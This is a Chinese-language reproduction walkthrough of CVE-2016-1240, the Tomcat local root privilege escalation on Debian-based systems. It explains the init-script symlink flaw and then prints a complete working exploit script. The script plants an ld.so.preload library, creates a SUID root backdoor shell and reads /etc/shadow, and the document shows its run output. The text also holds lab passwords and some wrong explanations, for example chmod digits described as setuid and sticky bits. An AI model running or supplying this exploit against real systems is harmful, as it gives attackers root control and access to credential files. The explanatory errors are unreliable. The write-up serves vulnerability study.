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(CVE-2016-1240)Tomcat本地提权漏洞

一、漏洞简介

Debian系统的Linux上管理员通常利用apt-get进行包管理,CVE-2016-1240这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tocat*利用该脚本,可导致攻击者通过低权限的Tomcat用户获得系统root权限!

二、漏洞影响

Tomcat 8 \<= 8.0.36-2 Tomcat 7 \<= 7.0.70-2 Tomcat 6 \<= 6.0.45+dfsg-1~deb8u1

三、复现过程

漏洞分析

Debian系统的Linux上管理员通常利用apt-get进行包管理,CVE-2016-1240这一漏洞其问题出在Tomcat的deb包中,使用deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tomcat\<版本号>.sh。利用该脚本,可导致攻击者通过低权限的Tomcat用户获得系统root权限。 现在我们查看文件 /etc/init.d/tomcat7 操作如下: 首先我们使用 Evrething搜索xshell,选中xshell.exe运行xshell,然后连接上目标机的低权限用户tomcat7,账号是tomcat7,密码是:tomcat7。

然后执行命令whoami,可以看到,现在是tomcat7的权限,也就是低权限账户

然后执行命令vim /etc/init.d/tomcat7, 然后按Esc键,接下来输入英文状态下的字符冒号: set number,找到171行。

**小提示:**vim是一个文本编辑器,vim /etc/init.d/tomcat7的意思是编辑/etc/init.d/文件夹下的tomcat7文件。

其造成漏洞核心代码如下:

# Run the catalina.sh script as a daemon 
set +e 
touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
chown $TOMCAT6_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

我们阅读上面的shell脚本

  • 第一行,set +e,要知道set +e是什么意思,得先清楚set -e的含义: 使用set更改shell特性时,符号\"+\"和\"-\"的作用分别是打开和关闭指定的模式,set -e的意思是若指令传回值不等于0,则立即退出shell,而set +e的意思反之

  • 第二行,touch是创建文件夹的意思,创建了catalina.out日志文件,前面的两个字符串定位了PID和BASE,涉及到其他变量这里不做探讨

  • 第三行,chown是改变文件夹权限的命令,它将catalina.out日志文件的所述用户更改为低权限用户

这个脚本看似是没有什么问题的。但是从上面的脚本可以得出三点信息:

  1. 这个脚本运行时的权限必然是root权限。因为普通用户是无法使用chown命令,也就是没有更高的权限。

  2. 该脚本使用touch命令创建文件,此时存在以下:文件存在、不存在、存在为符号链接等情况,当文件为符号链接时会默认地对链接的文件进行操作。

  3. 脚本运行完毕后Tomcat服务器启动,此时catalina.out这个log文件的所属用户为tomcat,所属组为root。

综述上述,这就给漏洞利用创造了可能。

接下来我们来验证是否可以利用:

当前的用户为tomcat7。这就是说我们能够更改所属用户为tomcat7的catalina.out这个log文件的内容和属性。 更改它的属性,让他指向/etc/shadow/文件夹下,现在我们创建一个指向 /etc/shadow 的符号链接。 使用命令ln -fs /etc/shadow /var/log/tomcat7/catalina.out,这时候就可以在/etc/shadow下创建一个链接,就相当于Windows的快捷方式一样。

此时我们查看文件cataline.out的内容,此时是权限不够,禁止读取cataline.out的内容的:

现在我们需要登陆root账户重启tomcat。登陆方法与登陆Tomcat7 用户相同,账号为:root, 密码为:123456 。重启Tomcat的命令为:

service tomcat7 restart

重启成功之后我们再次使用低权限用户读取cataline.out的内容:使用命令

head /var/log/tomcat6/catalina.out

使用head命令可以输出文件前十行的内容,而cat命令则是预览文件的全部内容。

**原理:**当Tomcat服务重启时,系统默认重新加载/var/log/tomcat6/catalina.out脚本,由于此时tomcat的日志文件指向了/etc/shadow文件; 而该文件就是我们之前创建的链接文件,而链接文件属于Tomcat7这个低权限用户,因此,我们就可以查看其中内容了。

漏洞复现

本步将使用poc根据Tomcat7漏洞进行提权

poc

#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on 
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a 
# vulnerable java webapp, or locally via weak permissions on webapps in the 
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by 
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $TOMCATLOG
    touch $TOMCATLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n &gt; /etc/ld.so.preload 2&gt;/dev/null
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
}

function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
    cleanexit 0
}

#intro 
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
    exit 3
fi
if [ "$2" = "-deferred" ]; then
    mode="deferred"
else
    mode="active"
fi

# Priv check
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
    exit 3
fi

# Set target paths
TOMCATLOG="$1"
if [ ! -f $TOMCATLOG ]; then
    echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
    exit 3
fi
echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
# restarted and file owner gets changed.
if [ "$mode" = "deferred" ]; then
    rm -f $TOMCATLOG &amp;&amp; ln -s /etc/default/locale $TOMCATLOG
    if [ $? -ne 0 ]; then
        echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
        cleanexit 3
    fi
    echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
    echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
    echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
    echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
    echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)
 \n\n"
    exit 0
fi

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat &lt;&lt;_solibeof_&gt;$PRIVESCSRC
#define _GNU_SOURCE
#include &lt;stdio.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;unistd.h&gt;
#include &lt;dlfcn.h&gt;
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    cleanexit 2
fi

# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG &amp;&amp; ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

# Wait for Tomcat to re-open the logs
echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)
 "
while :; do 
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB &gt; /etc/ld.so.preload
        break;
    fi
done

# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB &gt; /etc/ld.so.preload
echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo --help 2&gt;/dev/null &gt;/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mPlease tell me you're seeing this too ;)
  \033[0m"
else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
fi

# Execute the rootshell
echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p

# Job done.
cleanexit 0

poc运行示例:

tomcat7@ubuntu:/tmp$ id
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

tomcat7@ubuntu:/tmp$ lsb_release -a
No LSB modules are available.
Distributor ID:    Ubuntu
Description:    Ubuntu 16.04 LTS
Release:    16.04
Codename:    xenial

tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat
ii  libtomcat7-java              7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- core libraries
ii  tomcat7                      7.0.68-1ubuntu0.1               all          Servlet and JSP engine
ii  tomcat7-common               7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- common files

tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out

Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
CVE-2016-1240

Discovered and coded by:

Dawid Golunski

http://legalhackers.com

[+] Starting the exploit in [active] mode with the following privileges: 
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at: 
-rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh

[+] Symlink created at: 
lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -&gt; /etc/ld.so.preload

[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)


[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: 
-rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains: 
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!

[+] Rootshell got assigned root SUID perms at: 
-rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh

Please tell me you're seeing this too ;)


[+] Executing the rootshell /tmp/tomcatrootsh now!

tomcatrootsh-4.3# id
uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
tomcatrootsh-4.3# whoami
root
tomcatrootsh-4.3# head -n3 /etc/shadow
root:$6$oaf[cut]:16912:0:99999:7:::
daemon:*:16912:0:99999:7:::
bin:*:16912:0:99999:7:::
tomcatrootsh-4.3# exit
exit

首先我们下载poc文件,然后执行命令cd /tmp进入目录,然后编辑文件vim poc.sh。将桌面的poc.sh使用Notepad++打开,将文件内容粘贴进去。然后按键盘Esc键,再输入:wq,之后按 Enter 键将文件保存。 如果无法写入文件,使用命令

chmod 755 poc.sh

执行命令后,再次重复上一步即可,chmod的意思是改变文件的权限,775是什么权限呢?第一个数字代表文件所属者的权限,第二个数字代表文件所属者所在组的权限,第三个数字代表其它用户的权限,7=4+2+1

4:执行时设置用户ID,用于授权给基于文件属主的进程,而不是给创建此进程的用户。 2:执行时设置用户组ID,用于授权给基于文件所在组的进程,而不是基于创建此进程的用户。 1:设置粘着位。

这时,poc文件就已经构造好了,接下来运行脚本运行命令为:

./poc.sh /var/log/tomcat7/catalina.out

运行之后,会出现卡顿现象,这时候我们切换到root用户,重新启动Tomcat7,这时候使用命令whoami查看当前用户,这时候已经是 root 用户了,这时候就提权成功了

可以看到,命令提示符的开头为tomcat低权限用户,而我们执行whoami命令的时候,显示的权限却是root,这样就成功的提权了。

参考链接

https://www.jianshu.com/p/94e4feac245f